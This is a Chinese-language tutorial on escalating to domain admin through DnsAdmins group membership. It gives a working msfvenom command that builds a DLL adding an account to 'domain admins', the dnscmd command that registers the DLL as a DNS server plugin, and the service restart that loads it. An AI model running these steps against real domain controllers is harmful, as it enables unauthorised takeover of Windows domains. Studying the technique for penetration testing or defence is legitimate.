一、简介
DnsAdmins
组的成员可以访问网络上的 DNS
信息。Windows DNS
服务支持自定义插件,并可以从中调用函数来解析不在任何本地托管 DNS
区域范围内的名称查询。DNS
服务作为 运行NT AUTHORITY\SYSTEM
,因此该组中的成员资格可能会被用来提升域控制器上的权限,或者在单独的服务器充当域的 DNS 服务器的情况下。可以使用内置的dnscmd
实用程序来指定插件 DLL
的路径。
当 DNS
在域控制器上运行时,可以执行以下攻击(这很常见):
- DNS 管理通过 RPC 执行
- 当组成员
DnsAdmins
运行dnscmd
以下命令时,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
注册表项将被填充 - 当
DNS
服务重新启动时,该路径中的DLL
将被加载(即域控制器的机器帐户可以访问的网络共享) - 攻击者可以加载自定义
DLL
来获取反向shell
,甚至加载Mimikatz
等工具作为DLL
来转储凭据。
二、信息收集
- 查看账户详情
net user <username>
- 查看服务信息
sc qc <servicename>
- 通过权限审计工具查看服务的操作权限
- 获取用户SID:
whoami /user
- 查询服务权限:
sc sdshow dns
- 这里的
RPWP
所对应的权限为启动服务和关闭服务的权限
- 获取用户SID:
三、攻击提权
- 系统加载
DNSAdmin
身份Get-ADGroupMember -Identity DnsAdmins
- 注:这一步一定需要在攻击的初始阶段开始,否则后续加载
DLL
时将会失败
- 生成恶意
DLL
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
- 注:这里使用了
WSL-Kali
- 注入恶意
DLL
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
- ServerLevelPluginDll允许我们加载自定义
DLL
,并对DLL
路径进行零验证。dnscmd
这可以使用命令行工具来完成 - 注-1:必须指定自定义
DLL
的完整路径,否则攻击将无法正常工作。 - 注-2:本阶段只是注入
DLL
,后面还需要重启DNS
服务才能完全加载 - 注-3:
dnscmd.exe
可以由dnsadmin
组中的成员执行,其余账户默认无法执行
- 系统加载恶意
DLL
- 将
DNS
服务重启即可 - 关闭服务:
sc stop dns
- 开启服务:
sc start dns
- 将
四、攻击结果
- 成功将账户提升为域管账户
- 注意:账户的突然提权,可能需要账户先注销,而后让系统重新加载账户信息才能完成。
- 在利用
DNSAdmin
提权的过程中,未注销登录前,通过命令行查看还是普通权限,重新登录后即取得了管理权限。